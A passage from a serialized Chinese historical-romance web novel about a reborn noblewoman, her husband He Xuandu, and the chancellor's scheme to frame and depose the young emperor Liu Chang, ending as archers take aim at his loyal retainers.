见柳棠华走来,他连忙上前,触到她双手的瞬间微微一颤。 他忽然想起高柳旁,她啃着糖葫芦对他笑的模样。那时他信誓旦旦,说要让她风风光光地出嫁。可如今…… 柳棠华俯身入轿时,有泪滴在她的手背。 刘九生向来克制,再难熬的日子也未曾落泪。 年少失怙,独自撑起破败的门楣;寒夜寂寥,在无数个长夜里与孤灯相伴;身份特殊,他低头隐忍,咽下所有冷眼与讥讽。他以为自己的心早已磨出一层硬痂,再没有什么能让他失态。 可此刻,眼泪却不受控地滚落。 盖头下,柳棠华也放任自己落下泪来,紧紧握住刘九生的手。 她柔声道:“九生,不急。咱们的日子,长着呢。” 相府内,贺留善端坐首位,听着探子前来回禀。 他眉头一抬,“柳桓安未去观礼?” 那人道:“千真万确,听闻婚礼前夕,柳桓安与柳奉起过争执,他好像不想妹妹嫁给一个穷小子受苦。不过,柳奉却觉得刘九生有几分贵人之相,加之那位二小姐铁了心地要嫁,便应允了下来。” 贺留善点头,看来姜还是老的辣,柳奉平日看着不起眼,倒是有几分识人的本事。 贺玄晖一点也不意外,毕竟上辈子,柳桓安便是如此。 沉默许久,他问:“柳舜华今日也未曾出门?” 他记得,柳舜华对这个妹妹极为疼爱,当初柳棠华去世后,她哭得昏天暗地,几乎要昏死过去。 后来她还因此大病了一场,他心疼之余又愧疚,悄悄去看她,那时的她躺在床上,像是一朵开败的木槿花,凄苦又无助。 他鼓足勇气,握住她的手。她的手那样凉,冷到他浑身发颤。 有那么一瞬,他甚至萌生了一个念头,要带着她离开,远走高飞。 她梦中迷迷糊糊睁开眼,他却突地退缩了,猛地收回了手,狼狈而逃。 那人接着道:“二少夫人前些日子还托人打听长安城中的年轻子弟,想要说于那位二小姐,如今她突然嫁人,怕是一时气愤吧。” 贺留善转头问:“彰儿,你怎么看?” 贺玄晖回过神。 上辈子,比起刘昌,刘九生还算安分,一直老老实实地做着他的傀儡皇帝。若非母亲贸然出手害了柳棠华,引起刘九生的怀疑,暗中调查此事,他们也不至于反。 父亲虽在朝廷中拥有极高的威望,但大安立国百年,刘氏皇权不可侵犯,他们已经废了一个刘昌,怎么也不好再废了刘九生,何况他处处遵循父亲的意思,并未有任何过错。 至于柳桓安,上辈子他曾派人调查过,他与刘九生此前并未有任何接触。 刘九生登基后,迫于父亲的压力,柳桓安被安排回了鸿胪寺,彻底边缘化,整日关在府内借酒浇愁。他记得,柳舜华还同他闹过几回。 他缓声道:“柳桓安近日颇得刘昌重用,此前并未听闻他与刘九生有过接触。” 贺留善又问:“那刘九生呢?” 贺玄晖:“我让人去查探过,说他与柳家二小姐在长安城偶然认识。两人一直瞒着柳家秘密来往,想来此次联姻是个意外。” 贺留善凝眉沉思,刘昌这些时日又提拔了不少济阳旧臣,朝中处处打压他门下诸臣,废掉他已迫在眉睫。 废掉刘昌,势必又要拥立新帝。他环顾整个大安皇族,除去刘九生,再也寻不到第二个合适的人选。 刘九生长在民间,势单力弱,在朝中没有根基和党羽,是天生的傀儡。 只是,有刘昌这个前车之鉴,贺留善多少有些不放心,“继续派人盯着刘九生。” …… 这日,柳舜华照例陪着老夫人用午膳,讲着凉州时的见闻,说到贺玄度夜奔几百里为她摘樱桃,老夫人笑得合不拢嘴。 “我这孙儿啊,”老夫人放下筷子,一脸慈祥,“不是我做祖母的自夸,最是重情重义。小时候他养了只通体雪白的兔子,被他父亲丢了出去,他愣是哭了好几日,饭也不肯吃。” 柳舜华上辈子听老夫人提过此事,只是当时她并不认识贺玄度,也就没有追问。 只是如今,她钟情于贺玄度,对他的事只嫌知道得不够多,忍不住追问:“后来呢?” 老夫人声音低了下来,“后来啊,那小兔子到底没找到。他很伤心,特意在后院挖了个坑,埋了根胡萝卜,还立了块小木牌。” 柳舜华不由心口发闷,在那段他母亲刚过世的孤寂岁月中,陪着他的只有小白。 对贺玄度来说,小白不仅仅是只兔子,更是他的朋友,可是就连这唯一的朋友…… 她正伤感着,妙灵打帘走了进来,“少夫人,夫人那边传话过来,说她近日身体不适,要您过去侍奉汤药。” 柳舜华正为老夫人布菜,微微挑眉。 自知晓程氏害死过柳棠华,柳舜华面上功夫都懒得做。 一连数日,她都未去请安,程氏应是觉得自己相府祖母的地位受到挑战,坐不住了。 老夫人筷子扣在桌上,冷声道:“这些年我病着时,怎么不见她来侍奉汤药,如今倒摆起款来了。去,就回说蓁蓁早晚要在我这布菜,她身边那些人若是伺候不力,趁早换了。” 妙灵得了老夫人的令,垂头一笑,退了出去。 临近年关,整个长安城渐渐热闹起来。 相府内更是张灯结彩,朱红的灯笼连成一片,廊柱上缠着金丝彩带,檐角下挂满了琉璃风铃,叮咚作响,下人们正在往梅树上系红绸。 隐隐约约中,有笙箫声相和之声传来。 柳舜华猛地一怔,恍惚又回到上辈子,贺玄晖迎娶刘妉柔前的那个夜晚。 她轻叹一声,最近怎么总是想到上辈子那些事。 穿过回廊,柳舜华便往回走。 贺玄度早上出门时曾说,今日会早些回来,给她一个惊喜。这个时辰,想是已经回来了吧。 绕过洞门,柳舜华远远望见院内黑烟滚滚,如一条狰狞的黑龙撕破长空。浓烟穿过青竹丛,将翠绿的竹叶熏得焦黄,在风中簌簌飘落。 柳舜华浑身一颤,眼前翻涌的黑烟与那场吞噬一切的大火重叠,刺得她双目猩红。 一种不祥的预感升腾而起,贺玄度……他出事了? 寒意涌上心头,全身上下从头凉到脚。 柳舜华提起裙摆向前奔去,心跳如擂鼓,耳畔嗡嗡作响,仿佛又听见那夜火海中纷乱的声音。 “玄度!”她推开门,一声凄厉的呼唤划破长空。 贺玄度执着筷子的手微微一颤,呆呆地看着站在门口的柳舜华。 柳舜华一怔,愣愣地看着眼前。 院中搭了个彩棚,棚顶垂着五彩绚丽的流苏,随风招摇。 贺玄度正在彩棚下……烤鱼。 炭炉之上,几条肥鱼正烤得滋滋作响,有一条被烤得焦黑,烟雾缭绕。 旁边的洪声依旧保持着添柴的姿势,被她的突然出现吓得一屁股坐在地上。 “夫、夫人?”贺玄度手忙脚乱地扇着烟,炭灰蹭了一脸。 他看着泪眼婆娑的柳舜华,直觉他好像闯祸了,结结巴巴道:“那个……这就是我说的……惊喜。” 他近日忙于公事,算起来他们已有好些时日未曾一同用膳了。此前说好年后一同回凉州,如今也要食言。他想着,回不去凉州,便是像此前一样,在野外吃一顿烤鱼也是好的。只是这个时节,野外太冷,他这才在院中搭了个彩棚。 柳舜华看着烤焦的鱼,气得浑身颤抖,“谁让你在院子里烤鱼的?好端端地烤什么鱼?” 贺玄度鲜少见柳舜华发火,但见她双目猩红,柳眉倒竖,看起来是真的生气了。 他也不懂,不过是烤糊了一条鱼,她为何会发这么大的火。 总之,先认错。 他仰起那张沾满炭灰的脸,语气诚恳:“夫人,我错了。” 话音方落,柳舜华突然蹲下身去,整个人扑进他怀中。 她抱得太紧,纤细的手臂紧紧环住他的脖颈,力度出奇的大,贺玄度几乎被她勒得喘不过气。 怀中人微微颤抖,隔着衣衫都能感受到那份不安。贺玄度怔了怔,好像忽然明白了什么,心头顿时软得一塌糊涂。 他沾着炭灰的手轻轻拍着她的背,“没事了,我这不好好的呢。” 烤鱼柳舜华自然没心情再吃,两人只随便吃了些肉粥。 这些日子,贺玄度一直早出晚归,难得回来这么早。待入了夜,芳草与妙灵十分懂事地让人提前备足沐浴的热水。 柳舜华洗得慢,出来时,贺玄度正半坐在榻上,手执着一本书,随便翻着。 烛光下,一张脸格外清俊,乌发还滴着水气,有几缕不听话地黏在颈侧。松垮的中衣微微敞开,露出小片被热气蒸得泛红的胸膛,隐约可见结实的肌肉。 听到脚步声,贺玄度抬起头,眸中浸满了化不开的温柔。 柳舜华忙转过身,对着镜子梳理着头发。 贺玄度放下书卷,走过去,顺势拿过梳子,“我帮你梳。” 前些日子,虽说他是很忙碌,但柳舜华总隐隐觉得,他似乎克制得有些过分。有好几次,她半夜醒来,都能感觉到他抱着她时,格外小心。 今日他这般主动,柳舜华倒有些微微不适。 她咳了一声,问:“刘九生的事情怎么样了?” 贺玄度漫不经心道:“都打理得差不多了,已经探听到,父亲确认要扶植九生。眼下,就等父亲行动了。” 柳舜华沉默,贺丞相会在年后行动,她是知晓的。 她正想着,不如就趁着这个机会,索性同他交底吧。 贺玄度已经替她梳好头发,催促道:“冬日里冷,快些睡吧。” 柳舜华应声,起身的时候才留意到,平日的红烛不知何时换上了结婚时才用的喜烛。 一瞬间,她好像意识到了什么,满脑子嗡嗡响,脸腾一下红了起来。 她不想贺 玄度看到她涨红的脸,抢先一步,掀开被子便躺了进去。 贺玄度一笑,等她躺好,才不紧不慢地放下喜帐。 他一躺下,带着灼热的气息紧贴着她,柳舜华忽地就紧张了起来,整个人僵硬得似一条竹棍。 贺玄度没有动,只是轻轻握住她的手。 想到庭院内她抱着他,止不住地颤抖,仿佛用尽了全身力气,要确认他的存在一样,又像是害怕一松手他就会消失不见。 那一刻,贺玄度忽然明白过来,原来他的蓁蓁,爱他至此。 “蓁蓁,”贺玄度缓缓开口,“你今日吓坏了吧?” 柳舜华渐渐松软下来,认真道:“贺玄度,答应我,以后,离火远一点。” 贺玄度伸手将她揽在怀里,低头吻上她的发丝,“好,我答应你。” 红烛跳动着映在锦帐内,柳舜华开口声音不觉缱绻,“要不要把灯熄了?” “蓁蓁,洞房花烛是要燃到天明的。”贺玄度呼吸骤然一沉,揽着她腰肢的手臂紧了紧,带着几分难以克制的情欲,“今夜,才是我们的洞房花烛夜。” 他呼吸散在她脖颈间,带着沐浴后的松香,引得她浑身一股酥麻的战栗,下意识在他怀中扭动了一下。 贺玄度全身似被点燃,猛地翻身,将她压在身下。 他俯身吻上她炙热的红唇,辗转移至耳后,缓缓落在脖颈上。柳舜华意乱情迷,一双手不由自主攀上他的肩膀。 热意一路蔓延,柳舜华只觉浑身滚烫,紧紧抱着他,青丝散在枕上,与他散落的头发纠缠着。 她仰头望见窗外,月色落在她眼里,越来越近,越来越近… 朦朦胧胧中,她听到他喘息着叫她的名字,“蓁蓁。” 柳舜华伸手,将她的月亮拥入怀中。 那轮遥不可及的天上月,终于是她的了。 第97章 第97章原来是故人 年关将近,刘九生之事基本尘埃落定,贺玄度也不再忙进忙出,老老实实在家陪着夫人。 为庆贺与夫人在一起的第一个新年,贺玄度早早便命人四处搜罗奇珍。 他喜欢热闹,往年这时节,院子里早已是花红柳绿得扎眼。朱漆回廊上缠满五彩绸绦,连那株清雅的海棠树上都要披红挂彩,活似个穿红着绿的喜庆婆子。 府里下人们都道,二公子布置起年节来,是要命的。 腊月廿九,雪又停。 用过早膳,丫鬟们开始将剪好的窗花往棂上贴。 窗花是柳舜华带着芳草与妙灵亲手剪的,不似往年繁复的百鸟朝凤图,只疏疏几枝傲雪红梅,间或一对活灵活现的锦鲤,朱红的纸衬着雪光,清雅又不失喜庆。 洪声踩着梯子往正门贴朱漆桃符,周松正指挥几个小厮敲檐下的冰凌,以免碍着柳舜华精挑细选挑的素纱宫灯。 一上午收拾下来,院中一派素净却不失温婉的新气象。 银纤望着院中景致,不禁抿嘴笑了,“少夫人好巧思,这院子竟像被雪洗过似的,明明还是那些物件,偏生透出股清气来。” 众人看着贺玄度,都笑了起来。 柳舜华看着廊下立着的贺玄度,垂头笑了笑,又踮脚去调整盆中松枝枝桠的角度。 贺玄度走过去,抬手将她抱起,“这样剪是不是更方便?” 院中众人先是面面相觑,随后一个个知趣地将脸背过去。 前些时日,贺玄度发现,院子附近突然多了些不速之客。 周松要派人去查,贺玄度摇头说不用。 他知道,那些人是贺玄晖派来的。 贺玄晖已经开始注意他了,或者更确切,是注意他与蓁蓁。 既然他有心留意他,那他索性也不装了,装模作样地请了太医上门,一副认真调理的模样。 当初他瞒着腿已好的事实,一是防着刘昌怀疑,也不知他当初怎么就看到他动手杀人;一是他要仗着自己腿疾,让人尤其相府众人放松警惕,以免察觉到他与刘九生来往。 如今刘昌自身难保,自然不会再去计较这些;刘九生之事也暂时可以告一段落,尤其是贺玄晖盯上他后,再瘸着腿做事,甩掉这些碍眼的人,总是有些不太方便。 柳舜华被抱着,揽着他脖颈轻笑,“不够,再高一些。” 贺玄度余光瞥见月洞门外人影一闪,顺从地加了把劲,“好。” “你说他将柳小姐抱了起来?”贺玄晖听着盯梢小厮的话,手一抖,瓷盏碎在地上,发出一声脆响。 跪着的小厮点头,“千真万确,二公子的腿肯定是好了。” 贺玄晖忽然低低地笑了起来,好啊,他的腿好了。 此前他已经暗示得很明显,柳舜华是他的。 偏他依旧装糊涂,一意孤行。 原本他想着,他的腿是因他而断,想留几分情面,如今看来,倒是不必了。 过了年,年味越来越淡。 明日便是开朝,依着常例,殿内会奏阳春雅乐,百官齐呼万岁。 可柳舜华知道,明日未央殿前响起的只会是金吾卫的铁甲声。 窗外落了雪,柳舜华伸手接过一片雪花,看它在掌心顷刻化作一滴寒凉。 “玄度,陪我出去走走吧。”她转头,对着正在拨弄着炭火的贺玄度道。 贺玄度伸手拿了大氅,仔细为她穿上,“好,屋内憋闷,我带你去望月楼赏雪。” 出了相府大门,马车缓缓碾过青石板路,柳舜华靠在贺玄度肩头,感觉格外踏实。 雪愈下愈大,到望月楼时,阶前已积了薄薄一层素白。 贺玄度先跃下马车,转身向柳舜华伸出手。 她刚将手放入他掌心,忽觉腰间一紧,整个人已被他打横抱起,稳稳落在地上。 “能和你堂堂正正走在大街上,真好。” 说罢,携了柳舜华的手便要入内,余光一瞥,忽见一道人影。那人身穿素白鹤氅,手中抛着一只金桔,在人行中格外醒目。 电光石火间,旧日一幕瞬间涌上心头。 那年除夕夜,济阳城飘着细雪。他方杀完人,转身之际,忽闻墙角窸窣声响。 长剑挑开破席,发现后面蜷缩个脏兮兮的小乞丐。 那乞儿与他差不多年纪,蓬头垢面,穿着单薄,冻得瑟瑟发抖。 他静静看着这个同样无家可归的苦命人,沉默片刻,弯腰从那几具尸体腰间取下钱袋,随手丢了过去,“拿着。” 钱袋落在雪地上,发出沉闷声响。乞儿没动,只是仰头望着他,脏污的小脸上满是错愕。 贺玄度顿了顿,忽然解下身上的鹤氅,披在那单薄的身躯上。 “走吧。”他淡声道。 寒风呼啸,他独自走在寂寥的长街上,万家灯火明明灭灭,却没有一盏为他而亮。 雪越下越大。 他蹲在一处石阶上,仰头看着天上飘下来的雪。忽然,身后传来细碎的脚步声。 回头望去,竟是那乞儿跟了上来。 小黑脸上堆着笑,手里宝贝似的捧着一袋柑橘。 他拍了拍身边的石阶,乞儿挨着他坐下,递来一个橘子。 两人沉默着剥开橘皮,酸甜气息混着血腥味在寒夜里弥漫。 钟声响过,贺玄度拍了拍衣袖,转身走入风雪。 身后,小乞儿一动不动,孤单的身影在夜风中摇晃。 …… 贺玄度眼底闪过一丝愕然,转头对着周松道:“快,去把那人抓过来。” 只见周松闻声而动,如离弦之箭冲入人群,眼见就要扣住那人肩膀,斜刺里突然伸出一只骨节分明的手,铁钳般擒住周松手腕,一个巧劲便将他甩出几步远。 雪沫飞扬间,周松踉跄站稳,待看清对面人面容,顿时愣住了。 柳舜华顺着动静望去,只见那鹤氅少年正雀跃地朝她挥手。 兜帽滑落,露出一张飞扬不羁的脸来,正是刘昌。 贺玄度愣了一下,怎么会是他? 刘昌已施施然踱近,对着柳舜华笑道:“许久不见啊,今日出宫的时候,喜鹊叫得欢腾,原来是要碰到你了。” 柳舜华特意选在今日出来 ,原也是想碰碰运气,不承想竟真的遇到了刘昌。 刘昌说完,上下打量着贺玄度,嘴角一咧,“呦,腿好了?” 贺玄度敛眉,不动声色地看着他。 “这里,还真是与我们有缘。”刘昌抬头,看向身后的望月楼,“怎么样,进去谈谈?” 楼内,茶香袅袅。 刘昌看着贺玄度缓缓落座,指尖轻叩案几,忽然低笑,“你的腿果然好了,此前装腿瘸,是为了防我,是不是?” 贺玄度只是看着他,冷声问:“这衣裳,哪里来的?” “这个啊……”刘昌抚过鹤氅衣领,带着玩味地笑,“多年前除夕夜,一位故人所赠。” 贺玄度像是被雷劈中了一样,呆呆地看着刘昌。 谁能想到这厮竟然除夕夜不在王府内待着,跑去外面装乞丐?! 刘昌见状,笑得前俯后仰,“贺玄度,你现在的表情……咳……比当年杀人时精彩多了!” 贺玄度强忍着怒气,“你有病啊?” “别生气,来,喝杯茶降降火。”刘昌亲自斟了一杯茶递过去。 柳舜华见两人你一言我一语,听得一脸莫名。 贺玄度瞥了他一眼,“所以,你从一开始就认出了我?” 刘昌点头,“不然,你以为我为何会这么轻易放过你。” 想到刘昌此前说见过贺玄度杀人,柳舜华稍一琢磨,猜出个大概,大约是两人有过什么渊源。 贺玄度抬头,对上刘昌一张笑脸,心下蓦地一沉,轻笑道:“算了,陈年旧事,都过去了。” 是啊,都过去了,他不再是当初那个陪他坐着石阶上吃橘子的小乞丐,他也不是为他披上鹤氅的人间游荡客。 刘昌不知他心中所想,还在絮叨着:“贺玄度,我知道,上林苑那夜是你救了我,柳桓安已经查出,那些刺客是彭城王的人。我虽不知道你为何要隐瞒,但是我知道,你不会害我。所以,我也不计较了。怎么样,感不感动?” 贺玄度心底骤然一紧,眉头紧锁。 他很想开口,让他快些走,带着他的那些人回济阳去,走得越远越好,但终究还是沉默了。 箭在弦上,不得不发,刘昌已经没有退路了。 他唯一能做的,便是事后,保他周全。 他轻笑一声,倒了一杯酒,认真道:“感动,所以我会答应皇上一件事。” 刘昌凑过去,抿嘴道:“真的,什么事都行?” 贺玄度知道他行为放荡惯了,扫了他一眼,“只要不是杀人放火,有违伦理纲常,我都会替皇上去办。” “不用替我办事,只要你待会别打我就行。”刘昌摇着头,从怀中掏出一支木簪子递给柳舜华,“此前上林苑山洞内,你曾替我磨过木棍防敌,这是我亲手打磨的簪子,送给你。” 贺玄度脸色瞬间阴沉下去,他就不应该多嘴。 柳舜华余光瞥见贺玄度脸色不对,尴尬一笑。 贺玄度伸手夺过木簪子,“我替蓁蓁谢过皇上了。” 刘昌也不恼,继续笑道:“上次承蒙少夫人请我吃了羊肉锅子,还未感谢,说罢,你想要什么赏赐?” 柳舜华心中一动,想起那日山洞中他说过的话。 他说此生唯有两人真心对他,一个是颜太傅,一个便是日日跟着他的成川。 以贺丞相的手段,只怕他身边那些旧臣,不会有好下场。 颜太傅是重臣,若是此时有异动,贺丞相心生怀疑,那就连刘昌本人能不能善终都难说,可成川于他而言,不过是一个小小的侍卫,应不会对他有太大戒心。 至少,先保全一个…… 她想了想,缓缓道:“我独爱上林苑中红梅,不知能否讨要一枝。” 刘昌一笑,“这有何难?明日我便让人送来。” 柳舜华摇头,指着门外的成川,“我让他去,而且明日就要看到。” 刘昌瞥了一眼成川,“为何非要是他?” “为难?”柳舜华淡声道:“那算了。” “倒不是为难,只是上林苑太远,现在过去怎么说也得明日才能……”刘昌想了想,“算了,成川,你都听到了。” 成川犹犹豫豫,贺玄度似是看出了什么,“再不去,明日便回不来了。” 成川十分幽怨地看了一眼刘昌,不情不愿地走下楼去。 三人默然对坐,茶汤续过几次,窗外的雪光渐渐暗了下去。 刘昌终于起身,看着外面的风雪街道,“时日不早了,吾要回宫了。” 贺玄度与柳舜华起身恭送。 柳舜华望着他渐渐远去的背影,只觉得脊背发冷。 刘昌的命运是被安排好的,他就是刘九生的垫脚石。 从他坐上皇位第一日起,便已进入一个编织好的美梦中,可梦终究会醒的。 御街之上,最后一抹天光被雪吞没,柳舜华浑身发凉,突然有种虚无的感觉。 刘昌被废,刘九生继位,等待他们的,又何尝不是另一场腥风血雨。 一双手牢牢抓住了她,贺玄度低沉又柔和的声音落在耳畔:“蓁蓁,咱们回家。” 第98章 第98章血色未央 院中大白鹅一声嘶叫,柳舜华猛地从梦中惊醒。 睁开眼,天色已大亮,想必此刻快要上朝了。 贺玄度不知何时已经起身,床边空荡荡的。 柳舜华披了衣服起身,便见贺玄度独坐在窗前。 她走过去,坐在他身侧,“睡不着?” 贺玄度垂下眼眸,“不知为何,总是有些不安。” 柳舜华沉默片刻,正要开口,便见妙灵慌慌张张进来。 “二公子,大小姐过来了,说是有十分要紧之事找你。” 贺玄度有些意外,大姐素来沉稳,能让她如此不管不顾,一大早过来,必定不是小事。 他道:“蓁蓁,我先去见见大姐。” 柳舜华忙穿好衣裙,“大姐姐待我极好,想是遇到了什么难处,我也去,没准能帮忙安慰一二。” 贺玄度点头,两人匆匆赶到正厅。 贺容华一见到贺玄度,几乎是扑了过来,死死攥住他的手腕,眼泪止不住往下掉。 “大姐别怕。”贺玄度稳住她的肩,声音沉冷,“是不是宣平侯世子欺辱你?你放心,有我在,我这就去打断他的腿。” 贺容华摇头,唇色惨白,“我与他形同陌路,并无任何纠葛。宁儿,姐姐……姐姐实在找不到人帮我了。” 柳舜华立刻上前,扶着贺容华坐下,倒了一杯茶递过去,“大姐姐别慌,慢慢说。” 贺容华握住杯盏的手不停颤抖,抬头看着贺玄度,“宁儿,你能不能陪我进宫?我一定要去……再晚,我就见不到他了……” 柳舜华心头骤然一紧,她说再晚就见不到他了,难道她知道,今日宫内会有宫变? 她与贺玄度迅速交换了眼神,两人想到此前上林苑内,无意间听到大姐与成渊之间的谈话,瞬间了然。 贺玄度问:“大姐,到底怎么了?” 贺容华眸光闪过一丝恐惧,声音颤抖,“父亲,父亲要在今日废掉皇上,杀了所有济阳旧臣。我……卫尉成渊……他是我旧时相识,我要去见他” 贺玄度瞳孔骤缩:“今日?” 他知晓父亲迟早要废掉刘昌,但没想到会是今日,如此仓促,让他一时愣在原地。 柳舜华拉紧贺玄度的手,“玄度?” 贺玄度眸光一凝,“走,我陪你去。” 马车冲出府门,车轮碾过积雪,发出刺耳的咯吱声。 寒风卷着碎雪灌进车帘,贺容华死死攥着帕子。 贺玄度问:“大姐,你是如何知晓父亲会在今日废掉刘昌的?” 贺容华垂眸道:“我一向起得早,去给婆母请安的路上,碰到夫君上朝,无意间听到侯爷与他说的。” 宣平侯一早便知晓此事,看来父亲是谋划好要今日动手。 贺玄晖作为她的亲弟弟,一向站在父亲那边,她只能向贺玄度求助。 境况危急,她顾不得别人如何看她,只想赶在父亲动手之前,救下成渊。 宣室殿内,丞相贺留善率众臣立于殿前,等候着刘昌开朝。 卯时已过,迟迟不见皇上人影。 众臣手中朝笏越举越低,议论纷纷。 贺留善装模作样,正欲让人去请皇上,殿外突然传来杂沓的脚步声。 一个小太监连滚带爬扑进殿来,额头在青砖上磕出闷响。 众人定睛一看,竟是皇太后身边的小德子,此时他发冠歪斜,脸上还带着血痕。 贺留善问:“你不在皇太后身边好生伺候着,跑到这里做什么?” “丞相大人!”小德子声音劈了岔,像是被人掐着脖子,“太后娘娘……太后娘娘凤体危矣!” 丞相眉头深锁,“怎么回事?” 小德子抬起头,浑身颤抖,“昨夜……昨夜皇上醉酒无状,竟闯入皇太后寝宫……还妄想撕扯凤帐,皇太后身边伺候的宫女前去阻拦,反被他出言肆意欺辱。皇太后一气之下,昏了过去。” 此言一出,群臣哗然。 “荒唐!”苏太常面色铁青,厉喝一声。 “先帝尸骨未寒,这简直……闻所未闻。”御史大夫愤慨到浑身颤抖。 小德子还在跪着,“还请丞相与诸位大臣,替皇太后做主啊!” 贺丞相居高临下看着小德子,“皇太后现在如何?” “刚……刚醒……”小德子剧烈咳嗽着,“只是,皇太后受到了惊吓,瞧着不太好。” 贺丞相骤然转身,对着朝臣道:“刘昌行为昏聩悖乱,危及国家,诸君当如 何?” 众臣面面相觑,刘昌此举是过于荒唐,但他毕竟是皇上,少不得是让他拜祭祖宗,在宗庙中反省。 可贺丞相却这么问,到底是何意? 见群臣举棋不定,楼宗正站出来,“先帝托孤于丞相,便是希望丞相肩负起大安的安危荣辱,还望丞相能以大安为重,慎重思量。” 贺留善鹰隼般的目光扫过群臣,一字一顿道:“刘昌继位以来,荒淫无道,昏聩无能。失帝王之礼,乱大安千秋基业,当废。” 大殿之上,一片沉寂。 就连方才大骂荒唐的苏太常都震惊了,他们是觉得刘昌有些荒唐,但若说废黜,还是有些…… 以臣废君,此为大逆。 群臣中,柳桓安眉头深锁,皇太后此前并未说过有此计划,看来是刘昌借着年节,又大肆封赏了一批济阳旧臣,彻底引起贺丞相不满。 许久,有人低声道:“皇上是有些行为不端,可若是废黜,怕是有些过了吧?” 很快有人低声附和,“是啊。” 听着众人七嘴八舌,宣平侯高呼一声:“祖宗基业,难道要葬送在这无知小儿手中吗?若任由他继续胡闹下去,百年之后,诸位以何颜面见列祖列宗?” 此时,不少朝臣已看出,贺丞相今日是打定主意要废掉刘昌,遂不再发言,唯唯诺诺低头不语。 车骑将军见应和者寥寥,拔剑喝道:“先帝既将天下托付给贺丞相,那天下百姓的命运皆系于丞相之手,吾等应当听从丞相之令。” 车骑将军掌禁卫,朝臣一时噤若寒蝉,但见他虎视眈眈,怒目而视,大有不表态,今日都不能善了之势,又想到刘昌此举实在过于荒唐,一时应和不止。 贺丞相环顾四周,冷声道:“既如此,那吾等应即刻向皇太后上奏,废掉刘昌,贬为庶民。” 说罢,他望向殿外阴沉的天色,声音裹挟着雷霆将至的压迫感:“传令羽林卫,封闭未央宫门。” 刘昌被小太监叫了几遍,才打着哈欠起身。 小太监伺候他穿衣,声音里带着不易察觉的颤抖,“皇上,今日要上朝了。” 宿醉的钝痛潮水般袭来,昨夜零碎的记忆在脑海中闪回:琥珀色的酒液,摇晃的宫灯,还有……被扶着回寝殿时,似乎路过了一个什么地方。 “什么时辰了?”刘昌嗓音嘶哑。 “已过卯时三刻了。”小太监跪着为他系好玉带。 刘昌这才想起要上朝,便由人引着往宣室殿走。 轿撵碾过御道的青砖,发出沉闷的声响,刘昌忽然抬手示意停轿。 宫门两侧,披甲执戟的宿卫如静立。刘昌眯起眼,这些人瞧着都有些脸生。 他问道:“成渊何在?” 小太监喉结滚动了一下:“回陛下,您忘了,昨日成卫尉过来说……今日要告假。” 刘昌沉默片刻,半闭上眼。 他怎么,什么都不记得。 踏入宣室殿的瞬间,朝臣的议论声戛然而止,禁宫宦官迅速就把殿门关了。 刘昌的目光扫过众臣,落在贺留善身上,冷声道:“贺丞相,你要造反吗?” 贺留善便移步至殿中,朗声道:“奉皇太后懿旨,济阳王刘昌,居丧期间无视孝道,肆意游乐。醉酒无状,私闯长乐宫,罔顾人伦。违制祭祀其父济阳王的陵庙,有违天命,当黜!” 刘昌耳边嗡鸣,一下呆愣在原地,他终于想起昨夜迷迷糊糊中去了何处,皇太后的长乐宫。 贺留善,他原以为他虽是个权臣,却是个坦荡的,没想到,手段竟如此卑劣。 他缓缓抬眼,目光一寸寸扫过殿中群臣,济阳旧臣皆不见人影,余下朝臣们低垂着头,却无一人敢与他对视。 这一刻,他突然意识到了什么。 原来所谓“天命”,不过是一场精心编织的幻梦。 他们给他戴上冠冕,不过是需要一具听话的傀儡坐在这个位置上,好让真正的执棋者藏在幕布之后翻云覆雨。 他一步步走下龙椅,望着贺留善,冷然道:“贺丞相,好手段。你们今日废了我,就不怕史书上留下一个以下犯上的罪名吗?” 贺留善抬眸,刘昌这是在煽动群臣,妄图以舆论给他施压。 果然,群臣有些骚动,他们一个个自诩忠君,怎么也不能落个大不敬的罪名。 贺留善不屑一笑,只见有人走出,缓缓道:“济阳王此言差矣,伊尹乃商之宰相,曾废掉昏庸的商王太甲,得以保全宗庙社稷,后世赞其为忠臣。今丞相与诸位大臣之举,不过是效仿先人罢了。” 刘昌冷笑一声,“今日我若不认这份罪,你们还能杀了我不成?” 贺留善逼近刘昌,像是看着砧板上的鱼肉,一把将他身上佩戴的玉玺绶带解下,“来人,将济阳王带回寝宫,听候皇太后发落。” 刘昌怒道:“贺留善,枉你堂堂丞相,竟然想到如此龌龊的手段来陷害我,你无耻至极。” 贺留善手一挥,候着的侍卫上前捂住刘昌的嘴,不由分说便将他往外拉。 刘昌像是只待宰的羔羊,呜呜着无力反抗。 才到殿门口,便有金吾卫急急来报,“卫尉成渊带着济阳旧部赶过来了。” 贺留善眉头一抬,“如此甚好,放他们进来。” 车马停在皇城门口,宫墙巍峨,黑云沉沉压顶,仿佛一只巨兽,正无声张开血盆大口。 三人下了车,走进宫门,被拦了下来。 贺容华急道:“我是贺丞相的女儿,宣平侯府世子夫人,放我进去。” 宫门侍卫相互看了一眼,“贺大小姐,今日上头有令,封锁宫门,严禁出入。” 贺玄度上前,缓声道:“上头,谁的令?” 两个侍卫看着贺玄度,有些为难,“贺二公子,您就别问了。总之就是有令,还望贵人们见谅。” 贺玄度一把扶住贺容华,“大姐,你怎么样?能不能坚持啊,你千万要坚持住啊!” 柳舜华也忙拉着贺容华的胳膊,“大姐,你别吓我啊,我们马上带你去找太医。” 贺容华会意,登时晕在贺玄度怀中。 贺玄度怒道:“我家大姐外出游玩,不慎伤了身体,需即刻进宫瞧病。” 两个侍卫顿时吓了一跳,今日的禁令虽是贺丞相所下,但若是耽搁了相府大小姐治病,这可不是小事。 “还不放贺大小姐进去,你们好大胆子。”一声怒喝从背后传来。 柳舜华抬眸望去,顿时愣住了,眼前之人,竟是程三。 他此前不是说过,要跟随万都尉,怎么会来了长安,还编入禁卫军中? “快走。”程三走近,在几人耳边低声道。 贺玄度扶着贺容华,快步走近宫门。 朔风卷着细雪掠过未央宫前的玉阶,成渊的玄铁甲胄上凝着白花。 他横剑当胸,与金吾卫对峙着,身后一群济阳旧臣昂首而立。 刘昌看着昔日济阳旧臣,情绪一瞬失控,“成渊,别管我,带着颜太傅,走啊。” 须发皆白的颜太傅踉跄上前,看着刘昌泪如雨下,“皇上,我的皇上啊!” 刘昌哭得像个孩子,“太傅,我错了!我错了!” 贺丞相立于殿前,一脸的森然,“济阳旧臣煽动济阳王胡作非为,不加以规劝,实为祸国殃民之 举,统统就地诛杀。” 刘昌目眦欲裂,不可置信地看着贺丞相,“贺留善,你疯了,你凭什么要杀我的随从?” 话音方落,金吾卫的弓弩手已列阵上前,数百张弓箭,齐齐对向殿下众人。 只需一声令下,那些昔日群臣便再无生还可能。 